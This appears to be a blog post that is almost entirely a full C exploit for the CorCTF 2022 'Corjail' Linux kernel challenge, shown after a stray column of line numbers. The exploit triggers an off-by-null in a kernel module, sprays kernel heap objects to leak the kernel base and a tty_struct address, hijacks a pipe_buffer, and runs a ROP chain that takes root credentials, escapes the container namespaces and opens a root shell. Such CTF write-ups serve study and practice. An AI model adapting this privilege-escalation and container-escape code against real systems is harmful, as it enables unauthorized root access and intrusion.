84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <pthread.h>
#include <sys/types.h>
#include <stdbool.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/xattr.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include <semaphore.h>
#include <ctype.h>
#include <stdint.h>
#include <asm/ldt.h>
#include <poll.h>
#include <linux/userfaultfd.h>
#include <sys/shm.h>
#include <linux/keyctl.h>
#define SECONDARY_STARTUP_64 0xffffffff81000030
#define PAGE_SIZE 0x1000

#define DMA_HEAP_IOCTL_ALLOC 0xc0184800
typedef unsigned long long u64;
typedef unsigned int u32;

#define N_STACK_PPS 240
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16
#define POLLFD_SIZE 8;

void err_msg(char *msg)
{
printf("\033[31m\033[1m[!] %s \033[0m\n",msg);
exit(0);
}
void output_msg(char *msg)
{
printf("\033[34m\033[1m[+] %s \033[0m\n",msg);
}
void print_addr(char *msg, size_t value)
{
printf("\033[35m\033[1m[*] %s == %p\033[0m\n",msg,(size_t *)value);
}

void bind_core(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("[*] Process binded to core %d\n", core);
}

void bind_thread_core(int core){
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
if(pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set) < 0){
err_msg("bind core failed...");
}
}

size_t user_cs,user_ss,user_sp,user_rflags;
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[32m\033[1m[+] status has been saved!\033[0m");
}

// this is a universal function to print binary data from a char* array
void print_binary(void *addr, int len)
{
size_t *buf64 = (size_t *) addr;
char *buf8 = (char *) addr;
for (int i = 0; i < len / 8; i += 2) {
printf(" %04x", i * 8);
for (int j = 0; j < 2; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 16 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}

int key_read(int keyid, char *buffer, size_t buflen)
{
return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}
int key_alloc(char *description, char *payload, size_t plen)
{
return syscall(__NR_add_key, "user", description, payload, plen,
KEY_SPEC_PROCESS_KEYRING);
}

int key_unlink(int id){
return syscall(__NR_keyctl, KEYCTL_UNLINK, id, KEY_SPEC_PROCESS_KEYRING, NULL, NULL);
}

void debug(char *info)
{
output_msg(info);
getchar();
getchar();
}


int randint(int min, int max)
{
return min + (rand() % (max - min));
}

pthread_t poll_tid[0x1000];
int fds[0x100]; //monitor target fd
size_t poll_threads;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;

struct poll_args{
int t_id; //thread_id
int size; //the size you want to allocated
int timeout;
int hang;
};

struct poll_list
{
struct poll_list *next;
int len;
struct pollfd entries[];
};


void init_fd(int i){
fds[i] = open("/etc/passwd", O_RDONLY);
if (fds[i] < 0) err_msg(" init_fd()");
}

void *alloc_poll_list(void *args){

struct pollfd *pfds;
int id, want_size, timeout, nfds, hang;
id = ((struct poll_args *)args)->t_id;
want_size = ((struct poll_args *)args)->size;
timeout = ((struct poll_args *)args)->timeout;
hang = ((struct poll_args *)args)->hang;

/* nfds need modify :) */
want_size = want_size - ((want_size/PAGE_SIZE)+1)*POLL_LIST_SIZE;
nfds = (N_STACK_PPS + want_size)/POLLFD_SIZE;
// printf("nfds == %d \n", nfds);

pfds = calloc(nfds, sizeof(struct pollfd));
for(int i = 0; i < nfds; i++){
pfds[i].fd = fds[0];
pfds[i].events = POLLERR;
}
bind_thread_core(0);
pthread_mutex_lock(&mutex);
poll_threads++;
pthread_mutex_unlock(&mutex);
poll(pfds, nfds, timeout);
bind_thread_core(randint(1,3));

if(hang){
pthread_mutex_lock(&mutex);
poll_threads--;
pthread_mutex_unlock(&mutex);
while(1){}
}
return NULL;
}


void create_poll_thread(int id, size_t size, int timeout, int hang){
int judge;
struct poll_args *args;
if(id < 0 || size < 0 || timeout < 0){
printf("[x]create_poll_thread: Wrong argument!");
exit(1);
}

/* Include the poll_list head */
if(!(size%PAGE_SIZE == 0 || size%PAGE_SIZE > 0x10)){
printf("[x]create_poll_thread: size you want have to be suitable!\n");
exit(1);
}
args = calloc(1, sizeof(struct poll_args));
if(args == NULL){
err_msg("Calloc faield!");
}
args->t_id = id;
args->size = size;
args->timeout = timeout;
args->hang = hang;

if(pthread_create(&poll_tid[id], NULL, alloc_poll_list, args) != 0){
perror("pthread created failed");
exit(1);
}
}

void join_poll_threads(void){
for (int i = 0; i < poll_threads; i++){
pthread_join(poll_tid[i], NULL);
open("/proc/self/stat", O_RDONLY);
}
poll_threads = 0;
}


bool check_root(){
int fd;

if ((fd = open("/etc/shadow", O_RDONLY)) < 0)
return false;

close(fd);

return true;
}


void win(void){
if (check_root())
{
puts("[+] We are Ro0ot!");
char *args[] = { "/bin/bash", "-i", NULL };
execve(args[0], args, NULL);
}
}

int cormon_fd;
size_t tty_struct_addr = 0;
size_t kernel_base, kernel_offset;
#define SEQ_SPRAY_NR 128
#define SPRAY_KEY_NUM 199
int main(){
char *buf;
int uaf_key_id = -1;
int seq_fd[2048];
int tty_fd[0x100];
char desc[0x1000];
int pipe_id[0x200][2];
int seq_spray_fd[SEQ_SPRAY_NR];
int keyid[0x200];

save_status();
bind_core(0);
buf = mmap(NULL, PAGE_SIZE*0x10, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1,0);
cormon_fd = open("/proc_rw/cormon", O_RDWR);
if (cormon_fd < 0) err_msg("Fail open cormon");

init_fd(0);

// Step.1 Clear all the partial slab for per CPU by seq_options
for (int i = 0; i < 2048; i++){
seq_fd[i] = open("/proc/self/stat",O_RDONLY);
if (seq_fd[i] < 0) err_msg("Fail seq_fd");
}
output_msg("Finish spraying seq_opt.");

// Step.2 Spray user_key_payload(kmalloc-32) & poll_list(kmalloc-32)
output_msg("Spraying half of the user_key_payload");
memset(buf, 0, 0x1000);
for (int i = 0; i < 72; i++){
*(size_t *)&desc[0] = i+1;
setxattr("/home/user/.bashrc", "user.x", buf, 0x20, 0);
keyid[i] = key_alloc(desc, buf, 0x20 - 0x18);
if (keyid[i] < 0) err_msg("Fail key_alloc");
}

// this for spray poll_list(kmalloc-32) & poll_list(kmalloc-4096)
output_msg("Spraying poll_list(kmalloc-32) & poll_list(kmalloc-4096)");
bind_core(randint(1, 3));
for (int i = 0; i < 14; i++){
create_poll_thread(i, 0x1000+0x20, 3000, 0);
}
bind_core(0);
while(poll_threads != 14){};
usleep(250000); //this step is very important to influence success rate

output_msg("Spraying the other half of the user_key_payload");
for (int i = 72; i < SPRAY_KEY_NUM; i++){
// snprintf(desc, 0x100, "%d + %s", i, "henry");
*(size_t *)&desc[0] = i+1;
setxattr("/home/user/.bashrc", "user.x", buf, 0x20, 0);
keyid[i] = key_alloc(desc, buf, 0x20 - 0x18);
if (keyid[i] < 0) err_msg("Fail key_alloc");
}

//Step.3 trigger off-by-null by write(cormon_fd, data, PAGE_SIZE)
output_msg("trigger off-by-null");
write(cormon_fd, buf, PAGE_SIZE); //overwrite b'\x00' & change poll_list next pointer to user_key_payload

//release all the poll_list struct
printf("[*] wait all the poll_list released!\n");
join_poll_threads();

//Step.4 spray seq_operaions struct to fill UAF
printf("[*] spray seq_operation struct to get UAF user_key_payload\n");
for (int i = 0; i < SEQ_SPRAY_NR; i++){ //spray two pages seq_operations
seq_spray_fd[i] = open("/proc/self/stat", O_RDONLY);
if (seq_spray_fd[i] < 0) perror("fail open stat");
}

printf("[*] try to implement OOB read\n");
for (int i = 0; i < SPRAY_KEY_NUM; i++){
if (key_read(keyid[i], buf, 0xffff) > 0x10){
printf("[*] you find corrupted user_key_payload: keyid[%d]\n", i);
uaf_key_id = i;
break;
}
}

//Step.5 leak kernel_offset addr
if (uaf_key_id == -1) err_msg("Fail OOB read, plz try again");
memset(buf, 0, 0x1000);
key_read(keyid[uaf_key_id], buf, 0xffff); //only read_size(0xffff) > datalen the read ops will success
for (int i = 0; i < 0x1000/8; i++){
if ((*(size_t *)&buf[i*8] & 0xfff) == 0x5c0){
kernel_offset = *(size_t *)&buf[i*8] - 0xffffffff813275c0; //proc_single_show
kernel_base = 0xffffffff81000000 + kernel_offset;
print_addr("kernel_base", kernel_base);
print_addr("kernel_offset", kernel_offset);
// print_binary(buf, 0x400);
break;
}
}

//Step.6 leak heap_addr of tty_strut(kmalloc-1024) by tty_file_private(0x20)
printf("[*] release all the seq_ops replaced by the tty_file_private\n");
for (int i = 0; i < SPRAY_KEY_NUM; i++){
if (i != uaf_key_id){
key_revoke(keyid[i]);
key_unlink(keyid[i]); // release key struct real
}
}
sleep(1);
for (int i = 0; i < 90; i++){
tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if (tty_fd[i] < 0) perror("fail open ptmx");
}

memset(buf, 0, 0x1000);
//OOB read to leak tty_struct addr
key_read(keyid[uaf_key_id], buf, 0xffff);
for (int i = 0; i < 0x1000/8; i++){
if (*(size_t *)&buf[i*8] > 0xffff888000000000 &&
*(size_t *)&buf[i*8] < 0xffffc80000000000 &&
*(size_t *)&buf[i*8] % 0x400 == 0 &&
(*(size_t *)&buf[i*8] & 0xfff) != 0){
tty_struct_addr = *(size_t *)&buf[i*8];
print_addr("tty_struct_addr", tty_struct_addr);
break;
}
}
// print_binary(buf, 0x800);

//Step.7 hijack control flow by pipe_buffer
for (int i = 0; i < SEQ_SPRAY_NR; i++){
close(seq_spray_fd[i]);
}

// debug("pause1 here");
output_msg("Spraying poll_list(kmalloc-32)");
bind_core(randint(1, 3));
for (int i = 0; i < 0x100; i++){
create_poll_thread(i, 24, 5000, 1);
}
bind_core(0);

// debug("pause2 here");

while(poll_threads != 0x100){};
usleep(250000); //this step is very important to influence success rate

key_revoke(keyid[uaf_key_id]);
key_unlink(keyid[uaf_key_id]); //release uaf obj
sleep(1);

memset(buf, 0, 0x1000); //remember clear buf
*(size_t *)&buf[0] = tty_struct_addr - 0x18;
memset(desc, 0, 0x10);
for (int i = 0; i < 198; i++){
sprintf(desc, "payload_%d", i);
setxattr("/home/user/.bashrc", "user.x", buf, 0x20, 0);
keyid[i] = key_alloc(desc, buf, 0x20 - 0x18);
// printf("keyid[%d] == %d\n", i, keyid[i]);
if (keyid[i] < 0) err_msg("Fail key_alloc");
}

// release all the tty struct for pipe_buffer
for (int i = 0; i < 90; i++){
close(tty_fd[i]);
}
sleep(1);
// debug("pause3 here");

printf("[*] spray pipe_buffer to obtain UAF obj\n");
for (int i = 0; i < 0x500; i++){
if (pipe(pipe_id[i])) err_msg("Fail pipe");
if (write(pipe_id[i][1], "bsd_henry", 10) < 0) err_msg("Fail write pipe"); //activate pipe_buffer
}

// debug("pause4 here");

// wait poll list arb free --> tty_struct(filled by pipe_buffer now)
printf("[*] wait until all the poll_list released! ==> arb free\n");
while (poll_threads != 0) { };


// memset(buf, 'a', 0x1000);
// memset(desc, 0, 0x100);
// for (int i = 0; i < 30; i++){
// sprintf(desc, "bsd_henrybsd_henrybsd_henrybsd_henrybsd_henry%d", i);
// keyid[i] = key_alloc(desc, buf, 0x200); //get chunk from kmalloc-1024(0x200+0x18)
// printf("keyid[%d] == %d\n", i, keyid[i]);
// if (keyid[i] < 0) err_msg("Fail key_alloc");
// }

char *buff = (char *)calloc(1, 1024);

// Stack pivot
*(uint64_t *)&buff[0x10] = tty_struct_addr + 0x30; // anon_pipe_buf_ops
*(uint64_t *)&buff[0x38] = kernel_offset + 0xffffffff81882840; // push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66]
*(uint64_t *)&buff[0x66] = kernel_offset + 0xffffffff810007a9; // pop rsp ; ret
*(uint64_t *)&buff[0x00] = kernel_offset + 0xffffffff813c6b78; // add rsp, 0x78 ; ret

// ROP
uint64_t *rop = (uint64_t *)&buff[0x80];

// creds = prepare_kernel_cred(0)
*rop ++= kernel_offset + 0xffffffff81001618; // pop rdi ; ret
*rop ++= 0; // 0
*rop ++= kernel_offset + 0xffffffff810ebc90; // prepare_kernel_cred

// commit_creds(creds)
*rop ++= kernel_offset + 0xffffffff8101f5fc; // pop rcx ; ret
*rop ++= 0; // 0
*rop ++= kernel_offset + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
*rop ++= kernel_offset + 0xffffffff810eba40; // commit_creds

// task = find_task_by_vpid(1)
*rop ++= kernel_offset + 0xffffffff81001618; // pop rdi ; ret
*rop ++= 1; // pid
*rop ++= kernel_offset + 0xffffffff810e4fc0; // find_task_by_vpid

// switch_task_namespaces(task, init_nsproxy)
*rop ++= kernel_offset + 0xffffffff8101f5fc; // pop rcx ; ret
*rop ++= 0; // 0
*rop ++= kernel_offset + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
*rop ++= kernel_offset + 0xffffffff8100051c; // pop rsi ; ret
*rop ++= kernel_offset + 0xffffffff8245a720; // init_nsproxy;
*rop ++= kernel_offset + 0xffffffff810ea4e0; // switch_task_namespaces

// new_fs = copy_fs_struct(init_fs)
*rop ++= kernel_offset + 0xffffffff81001618; // pop rdi ; ret
*rop ++= kernel_offset + 0xffffffff82589740; // init_fs;
*rop ++= kernel_offset + 0xffffffff812e7350; // copy_fs_struct;
*rop ++= kernel_offset + 0xffffffff810e6cb7; // push rax ; pop rbx ; ret

// current = find_task_by_vpid(getpid())
*rop ++= kernel_offset + 0xffffffff81001618; // pop rdi ; ret
*rop ++= getpid(); // pid
*rop ++= kernel_offset + 0xffffffff810e4fc0; // find_task_by_vpid

// current->fs = new_fs
*rop ++= kernel_offset + 0xffffffff8101f5fc; // pop rcx ; ret
*rop ++= 0x6e0; // current->fs
*rop ++= kernel_offset + 0xffffffff8102396f; // add rax, rcx ; ret
*rop ++= kernel_offset + 0xffffffff817e1d6d; // mov qword ptr [rax], rbx ; pop rbx ; ret
*rop ++= 0; // rbx

// kpti trampoline
*rop ++= kernel_offset + 0xffffffff81c00ef0 + 22; // swapgs_restore_regs_and_return_to_usermode + 22
*rop ++= 0;
*rop ++= 0;
*rop ++= (uint64_t)&win;
*rop ++= user_cs;
*rop ++= user_rflags;
*rop ++= (uint64_t)(user_sp + 0x5000);
*rop ++= user_ss;

// memset(buf, 'a', 0x1000);
// debug("pause5 here");
printf("[*] release all the key and alloc again(kmalloc-1024) to write pipe_buffer\n");
for (int i = 0; i < 198; i++){
key_revoke(keyid[i]);
key_unlink(keyid[i]); // release key struct real
}
sleep(3);

memset(desc, 0, 0x100);
for (int i = 0; i < 31; i++){
sprintf(desc, "bsd_henry_%d", i);
keyid[i] = key_alloc(desc, buff, 600);
// printf("keyid[%d] == %d\n", i, keyid[i]);
if (keyid[i] < 0) err_msg("Fail key_alloc");
}

puts("[*] Try to hijack control flow..");
for (int i = 0; i < 0x500; i++){
if (close(pipe_id[i][0]) < 0)
{
perror("[X] release_pipe_buff()");
return 0;
}
if (close(pipe_id[i][1]) < 0)
{
perror("[X] release_pipe_buff()");
return 0;
}
}
// puts("[*] close all pipe_buffer");

for (int i = 0; i < 256; i++)
pthread_join(poll_tid[i], NULL);

return 0;
}
  • Title: CorCTF2022-Corjail
  • Author: henry
  • Created at : 2024-04-26 15:56:54
  • Updated at : 2024-04-26 16:15:09
  • Link: https://henrymartin262.github.io/2024/04/26/CorCTF2022-Corjail/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments
评论
  • 按正序
  • 按倒序
  • 按热度
Powered by Waline v2.15.8